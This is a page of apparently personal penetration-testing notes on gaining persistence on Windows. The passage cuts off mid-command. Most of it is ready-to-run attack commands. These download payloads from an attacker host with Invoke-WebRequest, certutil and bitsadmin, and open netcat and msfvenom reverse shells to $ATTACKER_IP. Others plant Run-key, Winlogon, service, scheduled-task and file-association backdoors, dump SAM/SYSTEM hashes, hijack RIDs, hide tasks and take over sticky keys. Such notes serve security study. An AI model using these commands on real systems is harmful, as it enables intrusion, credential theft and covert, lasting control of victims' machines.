2022-09-02 09:05:59 +02:00
<!doctype html>
< html lang = "en" >
< center >
< head >
< script src = "https://cdn.jsdelivr.net/npm/fuse.js/dist/fuse.js" > < / script >
2022-09-09 15:41:05 +02:00
< script src = "https://code.jquery.com/jquery-3.5.1.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/auto-complete.js" > < / script >
< script type = "text/javascript" src = "/static/js/lunr.min.js" > < / script >
< script type = "text/javascript" src = "/static/js/search.js" > < / script >
2022-09-02 09:05:59 +02:00
< link rel = "stylesheet" href = "/static/stylesheet.css" >
< link rel = "stylesheet" href = "/static/auto-complete.css" >
< br >
2022-09-09 15:41:05 +02:00
< title > The Real Hugo< / title >
2022-09-02 09:05:59 +02:00
< meta name = "viewport" content = "width=device-width, initial-scale=1" >
< / head >
< body >
<!-- topmenu -->
< div class = "menu" >
2022-09-09 15:41:05 +02:00
< a href = "/" style = "text-decoration:none" > Husk< / a >
2022-09-02 09:05:59 +02:00
< / div >
< div class = "search-container" >
< label for = "search-by" > < i class = "fas fa-search" > < / i > < / label >
< input data-search-input = "" id = "search-by" type = "search" placeholder = "Search..." autocomplete = "off" >
<!-- button type="submit"><i class="search"></i>🔍</button> -->
< span data-search-clear = "" > < i class = "fas fa-times" > < / i > < / span >
< / div >
< / div >
< div class = "menu" >
< / div >
<!-- br><br -->
< / center >
< p > < / p >
< div class = "columns" >
<!-- Sidebar -->
< div class = "column column-1" >
2022-09-09 15:41:05 +02:00
< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
2022-09-02 09:05:59 +02:00
< / ul >
< / div >
< div class = "column column-2" >
< span class = "body" >
< style > p r e { l i n e - h e i g h t : 1 2 5 % ; }
td.linenos .normal { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos { color: #37474F; background-color: #263238; padding-left: 5px; padding-right: 5px; }
td.linenos .special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
span.linenos.special { color: #607A86; background-color: #263238; padding-left: 5px; padding-right: 5px; }
.codehilite .hll { background-color: #2C3B41 }
.codehilite .c { color: #546E7A; font-style: italic } /* Comment */
.codehilite .err { color: #FF5370 } /* Error */
.codehilite .esc { color: #89DDFF } /* Escape */
.codehilite .g { color: #EEFFFF } /* Generic */
.codehilite .k { color: #BB80B3 } /* Keyword */
.codehilite .l { color: #C3E88D } /* Literal */
.codehilite .n { color: #EEFFFF } /* Name */
.codehilite .o { color: #89DDFF } /* Operator */
.codehilite .p { color: #89DDFF } /* Punctuation */
.codehilite .ch { color: #546E7A; font-style: italic } /* Comment.Hashbang */
.codehilite .cm { color: #546E7A; font-style: italic } /* Comment.Multiline */
.codehilite .cp { color: #546E7A; font-style: italic } /* Comment.Preproc */
.codehilite .cpf { color: #546E7A; font-style: italic } /* Comment.PreprocFile */
.codehilite .c1 { color: #546E7A; font-style: italic } /* Comment.Single */
.codehilite .cs { color: #546E7A; font-style: italic } /* Comment.Special */
.codehilite .gd { color: #FF5370 } /* Generic.Deleted */
.codehilite .ge { color: #89DDFF } /* Generic.Emph */
.codehilite .gr { color: #FF5370 } /* Generic.Error */
.codehilite .gh { color: #C3E88D } /* Generic.Heading */
.codehilite .gi { color: #C3E88D } /* Generic.Inserted */
.codehilite .go { color: #546E7A } /* Generic.Output */
.codehilite .gp { color: #FFCB6B } /* Generic.Prompt */
.codehilite .gs { color: #FF5370 } /* Generic.Strong */
.codehilite .gu { color: #89DDFF } /* Generic.Subheading */
.codehilite .gt { color: #FF5370 } /* Generic.Traceback */
.codehilite .kc { color: #89DDFF } /* Keyword.Constant */
.codehilite .kd { color: #BB80B3 } /* Keyword.Declaration */
.codehilite .kn { color: #89DDFF; font-style: italic } /* Keyword.Namespace */
.codehilite .kp { color: #89DDFF } /* Keyword.Pseudo */
.codehilite .kr { color: #BB80B3 } /* Keyword.Reserved */
.codehilite .kt { color: #BB80B3 } /* Keyword.Type */
.codehilite .ld { color: #C3E88D } /* Literal.Date */
.codehilite .m { color: #F78C6C } /* Literal.Number */
.codehilite .s { color: #C3E88D } /* Literal.String */
.codehilite .na { color: #BB80B3 } /* Name.Attribute */
.codehilite .nb { color: #82AAFF } /* Name.Builtin */
.codehilite .nc { color: #FFCB6B } /* Name.Class */
.codehilite .no { color: #EEFFFF } /* Name.Constant */
.codehilite .nd { color: #82AAFF } /* Name.Decorator */
.codehilite .ni { color: #89DDFF } /* Name.Entity */
.codehilite .ne { color: #FFCB6B } /* Name.Exception */
.codehilite .nf { color: #82AAFF } /* Name.Function */
.codehilite .nl { color: #82AAFF } /* Name.Label */
.codehilite .nn { color: #FFCB6B } /* Name.Namespace */
.codehilite .nx { color: #EEFFFF } /* Name.Other */
.codehilite .py { color: #FFCB6B } /* Name.Property */
.codehilite .nt { color: #FF5370 } /* Name.Tag */
.codehilite .nv { color: #89DDFF } /* Name.Variable */
.codehilite .ow { color: #89DDFF; font-style: italic } /* Operator.Word */
.codehilite .w { color: #EEFFFF } /* Text.Whitespace */
.codehilite .mb { color: #F78C6C } /* Literal.Number.Bin */
.codehilite .mf { color: #F78C6C } /* Literal.Number.Float */
.codehilite .mh { color: #F78C6C } /* Literal.Number.Hex */
.codehilite .mi { color: #F78C6C } /* Literal.Number.Integer */
.codehilite .mo { color: #F78C6C } /* Literal.Number.Oct */
.codehilite .sa { color: #BB80B3 } /* Literal.String.Affix */
.codehilite .sb { color: #C3E88D } /* Literal.String.Backtick */
.codehilite .sc { color: #C3E88D } /* Literal.String.Char */
.codehilite .dl { color: #EEFFFF } /* Literal.String.Delimiter */
.codehilite .sd { color: #546E7A; font-style: italic } /* Literal.String.Doc */
.codehilite .s2 { color: #C3E88D } /* Literal.String.Double */
.codehilite .se { color: #EEFFFF } /* Literal.String.Escape */
.codehilite .sh { color: #C3E88D } /* Literal.String.Heredoc */
.codehilite .si { color: #89DDFF } /* Literal.String.Interpol */
.codehilite .sx { color: #C3E88D } /* Literal.String.Other */
.codehilite .sr { color: #89DDFF } /* Literal.String.Regex */
.codehilite .s1 { color: #C3E88D } /* Literal.String.Single */
.codehilite .ss { color: #89DDFF } /* Literal.String.Symbol */
.codehilite .bp { color: #89DDFF } /* Name.Builtin.Pseudo */
.codehilite .fm { color: #82AAFF } /* Name.Function.Magic */
.codehilite .vc { color: #89DDFF } /* Name.Variable.Class */
.codehilite .vg { color: #89DDFF } /* Name.Variable.Global */
.codehilite .vi { color: #89DDFF } /* Name.Variable.Instance */
.codehilite .vm { color: #82AAFF } /* Name.Variable.Magic */
.codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */< / style >
< div class = "column column-3" >
< ul >
< li > < a href = "#persistence" > Persistence< / a > < ul >
< li > < a href = "#gain-persistence-on-windows" > Gain Persistence on Windows< / a > < ul >
< li > < a href = "#paths-to-persistence" > Paths to Persistence< / a > < / li >
< li > < a href = "#background-intelligence-transfer-service-bits" > Background Intelligence Transfer Service (BITS)< / a > < / li >
< / ul >
< / li >
< li > < a href = "#elevate-privileges" > Elevate Privileges< / a > < ul >
< li > < a href = "#more-stealthy" > More stealthy< / a > < / li >
< li > < a href = "#secedit" > secedit< / a > < / li >
< li > < a href = "#relative-id-rid" > Relative ID (RID)< / a > < / li >
< / ul >
< / li >
< li > < a href = "#add-to-registry" > Add to registry< / a > < / li >
< li > < a href = "#add-a-service" > Add a Service< / a > < ul >
< li > < a href = "#meterpreter" > Meterpreter< / a > < / li >
< li > < a href = "#powershell" > Powershell< / a > < / li >
< / ul >
< / li >
< li > < a href = "#add-scheduled-task" > Add Scheduled Task< / a > < / li >
< li > < a href = "#file-backdoor" > File Backdoor< / a > < ul >
< li > < a href = "#mimic-pe" > Mimic PE< / a > < / li >
< li > < a href = "#reference-script" > Reference Script< / a > < / li >
< li > < a href = "#file-association" > File Association< / a > < / li >
< / ul >
< / li >
< li > < a href = "#persistence-via-logon" > Persistence via Logon< / a > < ul >
< li > < a href = "#startup-directories" > Startup directories< / a > < / li >
< li > < a href = "#registry-keys" > Registry Keys< / a > < / li >
< li > < a href = "#logon-scripts" > Logon Scripts< / a > < / li >
< / ul >
< / li >
< li > < a href = "#rdp-or-login-screen" > RDP or Login Screen< / a > < ul >
< li > < a href = "#sticky-keys" > Sticky Keys< / a > < / li >
< li > < a href = "#utilman" > Utilman< / a > < / li >
< / ul >
< / li >
< li > < a href = "#web-shell" > Web Shell< / a > < / li >
< li > < a href = "#mssql" > MSSQL< / a > < / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "persistence" > Persistence< / h1 >
< ul >
< li > Gain through< ul >
< li > Startup folder persistence< / li >
< li > Editing registry keys< / li >
< li > Scheduled tasks< / li >
< li > SUID< / li >
< li > BITS< / li >
< li > Creating a backdoored service< / li >
< li > Creat user< / li >
< li > RDP< / li >
< / ul >
< / li >
< / ul >
< h2 id = "gain-persistence-on-windows" > Gain Persistence on Windows< / h2 >
< ul >
< li > Browser. Add to trusted sites.< / li >
< li > Powershell< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > Invoke-WebRequest http://< attacker-IP> :< attackerPort> /shell.exe -OutFile .< span class = "se" > \s< / span > hell2.exe
< / code > < / pre > < / div >
< ul >
< li > DOSprompt< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > certutil -urlcache -split -f http://< attacker-IP> :< attacker-Port/shell.exe
< / code > < / pre > < / div >
< ul >
< li > Use < code > multi/handler< / code > on attacker and < code > set PAYLOAD windows/meterpreter/reverse_tcp< / code > < / li >
< / ul >
< h3 id = "paths-to-persistence" > Paths to Persistence< / h3 >
< ul >
< li > Put in startup directory< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > C:< span class = "se" > \U< / span > sers< span class = "se" > \%< / span > username%< span class = "se" > \A< / span > ppData< span class = "se" > \R< / span > oaming< span class = "se" > \M< / span > icrosoft< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > tart Menu< span class = "se" > \P< / span > rograms< span class = "se" > \S< / span > tartup
< / code > < / pre > < / div >
< ul >
< li > Put the reverse_shell into < code > %appdata%< / code > and add a registry key< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > reg add < span class = "s2" > " HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" < / span > /v Backdoor /t REG_SZ /d < span class = "s2" > " C:\Users\< USER> \AppData\Roaming\backdoor.exe" < / span >
< / code > < / pre > < / div >
< h3 id = "background-intelligence-transfer-service-bits" > Background Intelligence Transfer Service (BITS)< / h3 >
< div class = "codehilite" > < pre > < span > < / span > < code > bitsadmin /create __shell__
bitsadmin /addfile __shell__ < span class = "s2" > " http://< attacker-IP> :< attacker-Port> /shell2.exe" < / span > < span class = "s2" > " C:\Users\< USER> \Documents\shell2.exe" < / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > bitsadmin /SetNotifyCmdLine < span class = "m" > 1< / span > cmd.exe < span class = "s2" > " /c shell2.exe /complete __shell__ | start /B C:\Users\< USER> \Documents\shell2.exe" < / span >
bitsadmin /SetMinRetryDelay < span class = "m" > 30< / span >
bitsadmin /resume
< / code > < / pre > < / div >
< h2 id = "elevate-privileges" > Elevate Privileges< / h2 >
< ul >
< li > Create user < code > net user /add < user> < pass> < / code > < / li >
< li > Add to admin group via < code > net localgroup administrators < user> /add< / code > < / li >
< li > Check < code > net localgroup Administrator< / code > < / li >
< / ul >
< h3 id = "more-stealthy" > More stealthy< / h3 >
< ul >
< li > Backup Operator group is more stealthy, no admin by r/w on files< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > net localgroup < span class = "s2" > " Backup Operators" < / span > < user> /add
net localgroup < span class = "s2" > " Remote Management Users" < / span > < user> /add
< / code > < / pre > < / div >
< ul >
< li >
< p > The following two groups are assigned through membership of < code > Backup Operators< / code > < / p >
< ul >
< li > SeBackupPrivilege, read files< / li >
< li > SeRestorePrivilege, write files< / li >
< / ul >
< / li >
< li >
< p > Any local group is stripped of off its admin permissions when logging in via RDP. Therefore disable the following regkey via< / p >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > reg add HKLM< span class = "se" > \S< / span > OFTWARE< span class = "se" > \M< / span > icrosoft< span class = "se" > \W< / span > indows< span class = "se" > \C< / span > urrentVersion< span class = "se" > \P< / span > olicies< span class = "se" > \S< / span > ystem /t REG_DWORD /v LocalAccountTokenFilterPolicy /d < span class = "m" > 1< / span >
< / code > < / pre > < / div >
< ul >
< li > Afterwards, check if < code > Backup Operators< / code > is enabled via < code > whoami /groups< / code > < / li >
< li > Backup < code > SAM< / code > and < code > SYSTEM< / code > via < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > reg save hklm< span class = "se" > \s< / span > ystem system.bak
reg save hklm< span class = "se" > \s< / span > am sam.bak
download system.bak
download sam.bak
secretsdump.py -sam sam.bak -system system.bak LOCAL
< / code > < / pre > < / div >
< ul >
< li > Pass-the-hash via evil-winrm< / li >
< / ul >
< h3 id = "secedit" > secedit< / h3 >
< ul >
< li > Get r/w on files through editing a config file< / li >
< li > Export secedit and open it < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > secedit /export /cfg config.inf
< / code > < / pre > < / div >
< ul >
< li > Add user to the groups< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "nv" > SeBackupPrivilege< / span > < span class = "o" > =< / span > < span class = "o" > [< / span > ...< span class = "o" > ]< / span > ,< username>
< span class = "nv" > SeRestorePrivilege< / span > < span class = "o" > =< / span > < span class = "o" > [< / span > ...< span class = "o" > ]< / span > ,< username>
< / code > < / pre > < / div >
< ul >
< li > Convert the file< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.infk
< / code > < / pre > < / div >
< ul >
< li > Add the user to the RDP group via net localgroup like before or do< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
< / code > < / pre > < / div >
< ul >
< li > Add & Click user -> Full Control(All Operations)< / li >
< li > Set < code > LocalAccountTokenFilterPolicy< / code > to < code > 1< / code > like in the section before< / li >
< / ul >
< h3 id = "relative-id-rid" > Relative ID (RID)< / h3 >
< ul >
< li > UID like in linux< ul >
< li > Administrator has < code > RID = 500< / code > < / li >
< li > Other interactive users < code > RID > = 1000< / code > < / li >
< / ul >
< / li >
< li > Get RIDs< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > wmic useraccount get name,sid
< / code > < / pre > < / div >
< ul >
< li > Assign < code > 500< / code > to regular user< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > PsExec64.exe -i -s regedit
< / code > < / pre > < / div >
< ul >
< li > Open < code > HKLM\SAM\SAM\Domains\Account\Users\< 0xRID> < / code > < / li >
< li > Search for RID value as hexadecimal value< / li >
< li > Open the key called < code > F< / code > and change effective RID at position < code > 0x30< / code > < / li >
< li > Insert LE hex of < code > 0d500< / code > , which is < code > f401< / code > < / li >
< / ul >
< h2 id = "add-to-registry" > Add to registry< / h2 >
< ul >
< li > Execute on user logon via< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > reg add < span class = "s2" > " HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" < / span > /v Userinit /d < span class = "s2" > " Userinit.exe, C:\yadda\shell2.exe" < / span > /f
< / code > < / pre > < / div >
< h2 id = "add-a-service" > Add a Service< / h2 >
< h3 id = "meterpreter" > Meterpreter< / h3 >
< ul >
< li > Inside meterpreter < code > load powershell< / code > and < code > powershell_shell< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > New-Service -Name < span class = "s2" > " < SERVICE_NAME> " < / span > -BinaryPathName < span class = "s2" > " < PATH_TO_BINARY> " < / span > -Description < span class = "s2" > " < SERVICE_DESCRIPTION> " < / span > -StartupType < span class = "s2" > " Boot" < / span >
< / code > < / pre > < / div >
< h3 id = "powershell" > Powershell< / h3 >
< ul >
< li > Start a service automatically< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > sc.exe create SteamUpdater < span class = "nv" > binPath< / span > < span class = "o" > =< / span > < span class = "s2" > " net user Administrator Passwd123" < / span > < span class = "nv" > start< / span > < span class = "o" > =< / span > auto
sc.exe start SteamUpdater
< / code > < / pre > < / div >
< ul >
< li > Use a service PE instead< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > msfvenom -p windows/x64/shell_reverse_tcp < span class = "nv" > LHOST< / span > < span class = "o" > =< / span > < span class = "nv" > $ATTACKER_IP< / span > < span class = "nv" > LPORT< / span > < span class = "o" > =< / span > < span class = "nv" > $ATTACKER_PORT< / span > -f exe-service -o SteamUpdater.exe
< / code > < / pre > < / div >
< ul >
< li > Modify an existing service< ul >
< li > Enumerate all the services< / li >
< / ul >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > sc.exe query < span class = "nv" > state< / span > < span class = "o" > =< / span > all
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Info about a specific service, start type should be automatic, service start name should be target user
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > sc.exe qc < ServiceName>
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Reconfigure
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > sc.exe config FoundService < span class = "nv" > binPath< / span > < span class = "o" > =< / span > < span class = "s2" > " C:\Windows\SteamUpdater.exe" < / span > < span class = "nv" > start< / span > < span class = "o" > =< / span > auto < span class = "nv" > obj< / span > < span class = "o" > =< / span > < span class = "s2" > " LocalSystem" < / span >
sc.exe start FoundService
< / code > < / pre > < / div >
< h2 id = "add-scheduled-task" > Add Scheduled Task< / h2 >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "nv" > $A< / span > < span class = "o" > =< / span > New-ScheduledTaskAction -Execute < span class = "s2" > " cmd.exe" < / span > -Argument < span class = "s2" > " /c C" < / span > < span class = "se" > \U< / span > sers< span class = "se" > \A< / span > dministrator< span class = "se" > \D< / span > ocuments< span class = "se" > \r< / span > shell.exe
< span class = "nv" > $B< / span > < span class = "o" > =< / span > New-ScheduledTaskTrigger -AtLogOn
< span class = "nv" > $C< / span > < span class = "o" > =< / span > New-ScheduledTaskPrincipal -UserId < span class = "s2" > " NT AUTHORITY/SYSTEM" < / span > -RunLevel Highest
< span class = "nv" > $D< / span > < span class = "o" > =< / span > New-ScheduledTaskSettingsSet
< span class = "nv" > $E< / span > < span class = "o" > =< / span > New-ScheduledTask -Action < span class = "nv" > $A< / span > -Trigger < span class = "nv" > $B< / span > -Principal < span class = "nv" > $C< / span > -Settings < span class = "nv" > $D< / span >
Register-ScheduledTask ReverseShell -InputObject < span class = "nv" > $E< / span >
< / code > < / pre > < / div >
< ul >
< li > Alternatively via < code > schtasks< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > schtasks /create /sc minute /mo < span class = "m" > 1< / span > /tn SteamUpdater /tr < span class = "s2" > " c:\windows\temp\nc.exe -e cmd.exe < / span > < span class = "nv" > $ATTACKER_IP< / span > < span class = "s2" > < / span > < span class = "nv" > $ATTACKER_PORT< / span > < span class = "s2" > " < / span > /ru SYSTEM
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Check task
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > schtasks /query /tn SteamUpdater
< / code > < / pre > < / div >
< ul >
< li > Deleting Security Descriptor of a task to make it invisible. Delete the following key< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > HKLM< span class = "se" > \S< / span > OFTWARE< span class = "se" > \M< / span > icrosoft< span class = "se" > \W< / span > indows NT< span class = "se" > \C< / span > urrentVersion< span class = "se" > \S< / span > chedule< span class = "se" > \T< / span > askCache< span class = "se" > \T< / span > ree< span class = "se" > \< < / span > taskname> < span class = "se" > \S< / span > D
< / code > < / pre > < / div >
< h2 id = "file-backdoor" > File Backdoor< / h2 >
< h3 id = "mimic-pe" > Mimic PE< / h3 >
< div class = "codehilite" > < pre > < span > < / span > < code > msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp < span class = "nv" > lhost< / span > < span class = "o" > =< / span > < span class = "nv" > $ATTACKER_IP< / span > < span class = "nv" > lport< / span > < span class = "o" > =< / span > < span class = "nv" > $ATTACKER_PORT< / span > -b < span class = "s2" > " \x00" < / span > -f exe -o puttyX.exe
< / code > < / pre > < / div >
< h3 id = "reference-script" > Reference Script< / h3 >
< ul >
< li > Recycle shortcut of an app to reference a reverse shell script< ul >
< li > Right click -> < code > Properties< / code > -> < code > Target< / code > < / li >
< / ul >
< / li >
< li > Reference the the script < code > certainlynobackdoor.ps1< / code > via < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > powershell.exe -WindowStyle hidden C:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \c< / span > ertainlynobackdoor.ps1
< / code > < / pre > < / div >
< ul >
< li > Content of the script < code > certainlynobackdoor.ps1< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > Start-Process -NoNewWindow < span class = "s2" > " c:\tools\nc.exe" < / span > < span class = "s2" > " -e cmd.exe < / span > < span class = "nv" > $ATTACKER_IP< / span > < span class = "s2" > < / span > < span class = "nv" > $ATTACKER_PORT< / span > < span class = "s2" > " < / span >
C:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \c< / span > alc.exe
< / code > < / pre > < / div >
< h3 id = "file-association" > File Association< / h3 >
< ul >
< li > Change associated < code > ProgID< / code > of a file type inside registry < code > HKLM\Software\Classes\< / code > < / li >
< li > Choose a class and < code > < class> /shell/open/command< / code > contains the file to be opened as the first argument < code > %1< / code > < / li >
< li > Chang the argument to a shell script and pass the arg through it< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > Start-Process -NoNewWindow < span class = "s2" > " c:\windows\temp\nc.exe" < / span > < span class = "s2" > " -e cmd.exe < / span > < span class = "nv" > $ATTACKER_IP< / span > < span class = "s2" > < / span > < span class = "nv" > $ATTACKER_PORT< / span > < span class = "s2" > " < / span >
C:< span class = "se" > \W< / span > indows< span class = "se" > \s< / span > ystem32< span class = "se" > \N< / span > OTEPAD.EXE < span class = "nv" > $args< / span > < span class = "o" > [< / span > < span class = "m" > 0< / span > < span class = "o" > ]< / span >
< / code > < / pre > < / div >
< ul >
< li > Change < code > command\default< / code > to < code > powershell -windowstyle hidden C:\windows\temp\steamupdater.ps1 %1< / code > < / li >
< / ul >
< h2 id = "persistence-via-logon" > Persistence via Logon< / h2 >
< h3 id = "startup-directories" > Startup directories< / h3 >
< ul >
< li > Users' Startup directory under< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > C:< span class = "se" > \U< / span > sers< span class = "se" > \< < / span > username> < span class = "se" > \A< / span > ppData< span class = "se" > \R< / span > oaming< span class = "se" > \M< / span > icrosoft< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > tart Menu< span class = "se" > \P< / span > rograms< span class = "se" > \S< / span > tartup
< / code > < / pre > < / div >
< ul >
< li > Startup directory for all users, put the reverse shell here< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > C:< span class = "se" > \P< / span > rogramData< span class = "se" > \M< / span > icrosoft< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > tart Menu< span class = "se" > \P< / span > rograms< span class = "se" > \S< / span > tartUp
< / code > < / pre > < / div >
< h3 id = "registry-keys" > Registry Keys< / h3 >
< ul >
< li > < code > HKCU\Software\Microsoft\Windows\CurrentVersion\Run< / code > < / li >
< li > < code > HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce< / code > < / li >
< li > < code > HKLM\Software\Microsoft\Windows\CurrentVersion\Run< / code > < / li >
< li >
< p > < code > HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce< / code > < / p >
< / li >
< li >
< p > Create < code > Expandable String Value< / code > under any of this keys with the value of the reverse shell path< / p >
< / li >
< li >
< p > < code > HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\< / code > loads user profile after authentication is done< / p >
< ul >
< li > Either < code > shell< / code > or < code > Userinit< / code > can be appended with a comma separated command< / li >
< / ul >
< / li >
< / ul >
< h3 id = "logon-scripts" > Logon Scripts< / h3 >
< ul >
< li >
< p > < code > userinit.exe< / code > checks var < code > UserInitMprLogonScript< / code > which cann be used to load logon scripts< / p >
< / li >
< li >
< p > Create variable < code > UserInitMprLogonScript< / code > under < code > HKCU\Environment< / code > which gets the reverse shell as a payload< / p >
< / li >
< / ul >
< h2 id = "rdp-or-login-screen" > RDP or Login Screen< / h2 >
< h3 id = "sticky-keys" > Sticky Keys< / h3 >
< ul >
< li > Press shift x 5 and < code > C:\Windows\System32\sethc.exe< / code > will be executed< / li >
< li > Take ownership of the binary via< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > takeown /f c:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \s< / span > ethc.exe
